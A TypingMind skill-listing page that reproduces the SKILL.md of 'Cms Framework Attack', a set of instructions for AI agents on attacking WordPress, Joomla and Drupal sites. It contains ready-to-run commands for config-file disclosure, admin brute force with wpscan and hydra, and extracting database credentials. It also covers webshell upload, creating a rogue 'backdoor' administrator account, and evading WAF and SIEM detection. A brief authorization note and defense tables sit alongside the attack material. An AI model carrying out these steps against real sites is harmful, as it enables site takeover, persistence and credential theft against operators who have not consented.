Cms Framework Attack 标志

Cms Framework Attack

社区
brucesongs
cms-framework-attack

Targeted security assessment of Content Management Systems (WordPress, Joomla, Drupal) using specialized scanners and exploit techniques.

Add to TypingMind

概览

发布者brucesongs
代码仓库kali-claw
技能名称cms-framework-attack
星标数
70
复刻数
18
附带文件
10
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 10 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 brucesongs 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Cms Framework Attack AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/brucesongs/kali-claw/tree/main/skills/cms-framework-attack
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/cms-framework-attack .claude/skills/cms-framework-attack
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Cms Framework Attack,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Cms Framework Attack。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Cms Framework Attack 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Skill: CMS Framework Attack / Content Management System Exploitation

Supplementary Files:

  • payloads.md — CMS attack payload collection: CMS fingerprinting, WordPress enumeration, Joomla/Drupal scanning, plugin/theme vulnerability exploitation, admin brute force, webshell upload, config disclosure
  • test-cases.md — Structured testing checklist covering CMS identification, WordPress/WPScan, Joomla/JoomScan, Drupal/Droopescan, nuclei CMS templates, and admin compromise

Summary

Cms Framework Attack skill domain covering web attack operations.

Tools: wpscan, joomscan, droopescan, cmseek, nikto, whatweb, nuclei

Domain: web-attack

Description

Targeted security assessment of Content Management Systems (WordPress, Joomla, Drupal) using specialized scanners and exploit techniques. Covers the full attack chain from CMS fingerprinting and version identification through plugin/theme enumeration, vulnerability mapping, credential attacks, and post-exploitation including webshell deployment and privilege escalation.

This skill domain addresses the reality that CMS platforms power over 40% of the web and represent a high-value attack surface. Misconfigured plugins, outdated themes, default credentials, and exposed administrative interfaces provide reliable entry points during penetration tests.

Agent capability statement: Complete CMS attack methodology mastered across WordPress, Joomla, and Drupal. Capable of automated enumeration, targeted exploitation, and post-compromise escalation on all major CMS platforms.

Use Cases

  1. WordPress penetration testing — Enumerate users, plugins, and themes with WPScan; identify vulnerable extensions; exploit XML-RPC, wp-config disclosure, and known plugin CVEs
  2. Joomla security assessment — Use JoomScan for component enumeration; exploit known Joomla CVEs; brute-force administrator credentials; leverage configuration file exposure
  3. Drupal vulnerability assessment — Scan with Droopescan for version and module enumeration; target Drupalgeddon exploits; exploit configuration export vulnerabilities
  4. CMS fingerprinting and identification — Use CMSeeK and WhatWeb to identify CMS type, version, installed plugins, and technologies before targeted exploitation
  5. Nuclei-based CMS scanning — Leverage nuclei CMS template library for automated vulnerability discovery across WordPress, Joomla, Drupal, and other platforms
  6. Post-exploitation persistence — Upload webshells through admin panels, modify theme/plugin files, create rogue administrator accounts, establish persistent access

Core Tools

ToolPurposeCommand Example
wpscanWordPress vulnerability scanner: user enum, plugin/theme detection, brute forcewpscan --url http://target --enumerate u,vp,vt,dbe
joomscanJoomla vulnerability scanner: component detection, config disclosurejoomscan -u http://target
droopescanDrupal/CMS scanner: version detection, module enumeration, CVE checksdroopescan scan drupal -u http://target
cmseekCMS identification and deep fingerprinting: 180+ CMS detectioncmseek -u http://target
niktoWeb server scanner: misconfigurations, dangerous files, outdated componentsnikto -h http://target
whatwebWeb technology fingerprinting: CMS, framework, server identificationwhatweb -v http://target
nucleiTemplate-based vulnerability scanner with extensive CMS templatesnuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags wordpress

Methodology

Attack Chain

CMS Fingerprint → Version/Component Enum → Vulnerability Mapping → Exploitation → Escalation
(cmseek/whatweb)  (wpscan/joomscan/       (CVE database,           (plugin vuln,     (admin access,
                  droopescan)              plugin advisories)       config disclosure, webshell upload,
                                                                     brute force)       RCE)

Phase Details:

  1. Identify (Fingerprinting)

    • Use CMSeeK for deep CMS identification covering 180+ platforms
    • Run WhatWeb for technology stack fingerprinting (server, framework, CMS version)
    • Identify CMS type, version, installed extensions, and underlying technologies
    • Check HTTP headers, meta tags, robots.txt, sitemap.xml, and known CMS file paths
    • Map the attack surface before targeted scanning
  2. Enumerate (Reconnaissance)

    • WordPress: enumerate users (author archives, REST API, feeds), plugins, themes, configuration backups
    • Joomla: enumerate components, modules, templates, configuration files
    • Drupal: enumerate modules, themes, configuration exports, node types
    • Identify all installed extensions with exact version numbers for CVE mapping
  3. Vulnerability (Mapping)

    • Map identified CMS core version to known CVEs using vulnerability databases
    • Cross-reference plugin/theme versions against exploit-db and vendor advisories
    • Test for configuration disclosure (wp-config.php.bak, configuration.php~, settings.php.old)
    • Check for exposed database dumps, backup archives, and debug endpoints
    • Identify authentication bypass vectors and default credential possibilities
  4. Exploit (Attack)

    • Exploit known plugin vulnerabilities (RCE, SQLi, XSS, file upload) with version-specific payloads
    • Abuse XML-RPC for WordPress (pingback DDoS, enumeration, brute force amplification)
    • Target configuration file disclosure for database credential extraction
    • Perform targeted brute force against discovered usernames using custom wordlists
    • Exploit known CMS core vulnerabilities (Drupalgeddon, Joomla RCE chains)
  5. Escalate (Post-Exploitation)

    • Gain administrator panel access through credential compromise or session hijacking
    • Upload webshells disguised as plugins or theme modifications
    • Modify CMS files to inject backdoors and establish persistence
    • Extract database credentials from configuration files for further lateral movement
    • Pivot to underlying server through CMS-level RCE vulnerabilities

Defense Perspective

Defense MeasureDescriptionPriority
Keep CMS and all extensions updatedApply security patches within 24 hours of releaseCRITICAL
Remove version fingerprintingStrip generator meta tags, CHANGELOG files, readme.htmlHIGH
Restrict admin panel accessIP-whitelist /wp-admin, /administrator, /adminCRITICAL
Implement WAF rulesBlock known CMS attack patterns and bot scannersHIGH
Disable file editing in adminSet DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS in WordPressHIGH
Enforce strong password policyRequire 16+ character passwords, enable 2FA for adminsCRITICAL
Remove unused plugins/themesEach installed extension increases attack surfaceHIGH
Block enumeration endpointsDisable REST API user enumeration, author archivesMEDIUM

Practical Steps

Step 1: CMS Identification and Fingerprinting

Identify the CMS platform, version, and technology stack before investing time in targeted scanning.

bash
# Deep CMS identification
cmseek -u http://target --follow-redirect

# Technology fingerprinting
whatweb -v http://target

# Quick Nikto scan for misconfigurations
nikto -h http://target -C all

Step 2: Targeted CMS Enumeration

Run the platform-specific scanner for deep enumeration of users, plugins, themes, and potential vulnerabilities.

bash
# WordPress full enumeration
wpscan --url http://target --enumerate u,vp,vt,dbe,cb --api-token YOUR_TOKEN

# Joomla comprehensive scan
joomscan -u http://target --scan-all

# Drupal module and version detection
droopescan scan drupal -u http://target -t 16

Step 3: Vulnerability Mapping and Exploitation

Map discovered components to known CVEs and attempt exploitation of vulnerable plugins and configurations.

bash
# nuclei CMS-specific vulnerability scan
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags wordpress,joomla,drupal

# WPScan vulnerability assessment (requires API token for vulnerability data)
wpscan --url http://target --enumerate vp,vt --api-token YOUR_TOKEN

# Test for configuration file disclosure
curl http://target/wp-config.php.bak
curl http://target/configuration.php~
curl http://target/sites/default/settings.php.bak

Step 4: Credential Attacks and Admin Access

Perform targeted brute force and password spraying against enumerated usernames.

bash
# WordPress user enumeration and brute force
wpscan --url http://target --passwords /usr/share/wordlists/rockyou.txt --usernames admin,user1,editor

# WordPress XML-RPC brute force (harder to detect)
wpscan --url http://target --passwords passwords.txt --max-threads 10 --password-attack xmlrpc

# Joomla admin brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&task=login&option=com_login:F=Invalid"

Step 5: Post-Exploitation and Persistence

After gaining admin access, establish persistence and extract additional credentials.

bash
# Upload webshell via WordPress plugin editor (after admin access)
# Navigate to Appearance > Theme Editor, inject PHP code into theme files

# Create rogue admin user via WordPress CLI (if server access available)
wp user create backdoor backdoor@evil.com --role=administrator --user_pass=Str0ngP@ss!

# Extract database credentials from wp-config.php
cat /var/www/html/wp-config.php | grep DB_

# Access Drupal configuration export (if available)
curl http://target/admin/config/development/configuration/export

See payloads.md for detailed payloads, and test-cases.md for complete test checklist.

Common Pitfalls

  • Relying on a single scanner: WPScan may miss vulnerabilities that nuclei detects and vice versa. Always combine multiple tools and cross-reference results. CMSeeK identifies CMS types that specialized scanners might misclassify.
  • Ignoring plugin version granularity: A plugin identified as "Contact Form 7" without a version number provides no actionable vulnerability intelligence. Use aggressive enumeration flags (--enumerate vp) and API-backed vulnerability databases to get exact version-to-CVE mapping.
  • Overlooking backup and configuration files: Backup files (.bak, .old, .save, ~) of configuration files often reside in the web root because administrators copy rather than move them. Always test for wp-config.php.bak, configuration.php~, and settings.php.old before attempting complex exploits.
  • Neglecting XML-RPC in WordPress: Many testers focus on wp-login.php brute force and forget XML-RPC at /xmlrpc.php. This endpoint amplifies brute force by allowing hundreds of credentials per request and enables pingback attacks for SSRF and DDoS.
  • Skipping enumeration for direct exploitation: Jumping straight to exploit attempts without thorough enumeration wastes time and increases detection risk. Invest 80% of effort in reconnaissance and enumeration.

Automation and Scripting

Automate the full CMS assessment pipeline by chaining identification tools into targeted scanners. Start with whatweb for quick fingerprinting, then dispatch the appropriate platform-specific scanner based on the detected CMS. Use nuclei for automated CVE scanning across the full template library, with results parsed into a structured report. Script WordPress password auditing with WPScan's API token integration to automate plugin vulnerability lookups. For large-scale assessments, wrap CMSeeK and nuclei in a bash pipeline that fingerprints multiple targets concurrently and generates per-host vulnerability reports.

Reporting and Documentation

CMS assessment reports must include the CMS version, all enumerated extensions with their version numbers, and the specific CVEs or misconfigurations discovered. For each vulnerability, document the exact exploit path (plugin name, version, attack vector) and the data or access obtained. Include remediation specific to the finding: update plugin X to version Y, remove file Z from web root, restrict admin panel to specific IP ranges. Map all findings to OWASP categories and provide a risk rating based on the CVSS score and the actual impact demonstrated during testing.

Legal and Ethical Considerations

CMS scanning is noisy and easily detected by WAF and SIEM systems. Always verify scope authorization before scanning, and use rate-limiting flags to avoid denial-of-service conditions. Brute force attacks against admin panels may lock legitimate user accounts — coordinate timing with the client. Do not upload webshells or modify CMS files on production systems without explicit written authorization. If admin credentials are obtained during testing, document the finding without making unauthorized changes to the CMS configuration or content.

Integration with Other Tools

CMS assessment findings chain directly into multiple attack paths. Extracted database credentials from wp-config.php enable database-level exploitation (web-sqli skill). Identified webshells or file upload vulnerabilities connect to post-exploitation methodology. Server-side vulnerabilities discovered through CMS plugins (deserialization, SSTI) lead into code execution chains. Discovered API endpoints in REST API extensions feed into api-security assessment. Use CMS compromise as a pivot point for lateral movement to the underlying server and internal network.

Case Studies and Examples

  • WordPress plugin RCE via outdated Contact Form: WPScan identified Contact Form 7 version 5.3.0, vulnerable to unauthenticated file upload (CVE-2020-36124). Uploading a PHP webshell through the vulnerable AJAX endpoint provided remote code execution and full server compromise.
  • Drupalgeddon2 remote code execution: Droopescan identified Drupal 8.5.0. The Drupalgeddon2 vulnerability (CVE-2018-7600) allowed unauthenticated RCE through the Drupal render API. A single curl command exploiting the #lazy_builder callback achieved command execution as the web server user.
  • Joomla configuration disclosure to database access: JoomScan detected an exposed configuration.php~ file containing database credentials in plaintext. The MySQL server was accessible from the testing machine, enabling direct database connection, administrative hash extraction, and full site takeover.

Detection Methods

CMS attacks are detected through: WAF signatures matching known scanner user agents (WPScan, JoomScan), rate-limiting alerts on login endpoints, file integrity monitoring on CMS core files and configuration, audit logs recording plugin installation and theme modification, and SIEM correlation rules detecting enumeration patterns (sequential user ID requests, plugin directory brute forcing). Defenders should implement rate limiting on all authentication endpoints, deploy ModSecurity with OWASP CRS for CMS-specific rules, and monitor for backup file access attempts.

Defense Evasion Techniques

Evade CMS attack detection by: rotating user agent strings with each scanner request (--random-user-agent), throttling scan speed to stay below WAF rate limits (--throttle 500), distributing brute force attempts across XML-RPC and wp-login.php endpoints, using proxy chains to rotate source IPs during enumeration, and leveraging legitimate API endpoints (WordPress REST API) instead of direct file path probing. For nuclei scanning, use -rl 50 to limit request rate and -c 25 to control concurrency.

Advanced Techniques

Advanced CMS exploitation includes: exploiting WordPress deserialization vulnerabilities in meta-box handling, chaining Drupal Drupalgeddon vulnerabilities for container escape, abusing Joomla JDatabase driver injection for blind SQL extraction, exploiting WordPress object cache poisoning for authentication bypass, leveraging CMS cron endpoints for blind command execution, and targeting multisite WordPress installations for cross-site privilege escalation. For WordPress specifically, exploit the WP-Cron system for load-based side channel attacks and abuse the plugin/theme installation mechanism with crafted ZIP archives containing symlink attacks.

Tool Comparison Matrix

ToolBest ForAutomationCMS Coverage
wpscanWordPress deep enumerationFully automatedWordPress only
joomscanJoomla vulnerability scanningFully automatedJoomla only
droopescanDrupal/CMS version detectionFully automatedDrupal, Joomla, WordPress, Moodle
cmseekCMS identification (180+ platforms)Fully automated180+ CMS platforms
whatwebQuick technology fingerprintingSemi-automatedAll web technologies
niktoServer misconfiguration scanningFully automatedAll web servers
nucleiTemplate-based CVE scanningFully automatedAll CMS platforms (via templates)

Hacker Laws

LawCMS Attack Manifestation
Minimize Attack SurfaceEvery installed plugin and theme expands the attack surface. Defense requires removing unused extensions, disabling XML-RPC, and restricting admin panel access to authorized IPs
Trust but VerifyDo not trust CMS version strings — they can be spoofed. Verify through multiple detection methods (file hashes, behavior, API responses) and always test for hidden or renamed admin panels
Defense in DepthCMS security requires layered controls: WAF at the network edge, authentication hardening at the application layer, file integrity monitoring at the OS layer, and database access restrictions at the data layer
Assume BreachDesign CMS deployments assuming attackers will discover plugin vulnerabilities. Use read-only filesystem mounts for CMS core files, separate database credentials per installation, and implement audit logging for all administrative actions
First PrinciplesUnderstand how each CMS handles authentication, file uploads, and plugin execution. Without understanding WordPress's hook system or Drupal's render pipeline, you cannot identify novel vulnerabilities beyond known CVEs

Learning Resources

Skill supplementary files: payloads.md, test-cases.md

Related Skills:

  • skills/web-sqli/SKILL.md — SQL injection: CMS databases often accessible through plugin vulnerabilities
  • skills/web-xss/SKILL.md — XSS: CMS comment forms and content editors are common XSS vectors
  • skills/web-auth-bypass/SKILL.md — Authentication bypass: CMS admin panel access techniques
  • skills/post-exploitation/SKILL.md — Post-exploitation: webshell persistence and lateral movement from CMS compromise
  • skills/web-access-control/SKILL.md — Access control: CMS privilege escalation and role manipulation

Guides:

  • guides/wordpress-pentest-guide.md — Comprehensive WordPress penetration testing with WPScan
  • guides/joomla-drupal-cms-attack-guide.md — Joomla and Drupal exploitation methodology
  • guides/cms-identification-enumeration-guide.md — CMS fingerprinting and enumeration techniques

External Resources:

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Cms Framework Attack AI 技能有什么作用?

Targeted security assessment of Content Management Systems (WordPress, Joomla, Drupal) using specialized scanners and exploit techniques.

为什么在 TypingMind 中使用 Cms Framework Attack?

因为您只需安装一次,就能搭配任何模型使用。Cms Framework Attack 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Cms Framework Attack?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/brucesongs/kali-claw/tree/main/skills/cms-framework-attack。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Cms Framework Attack?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Cms Framework Attack 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Cms Framework Attack 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Cms Framework Attack AI 技能免费吗?

是的。brucesongs 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇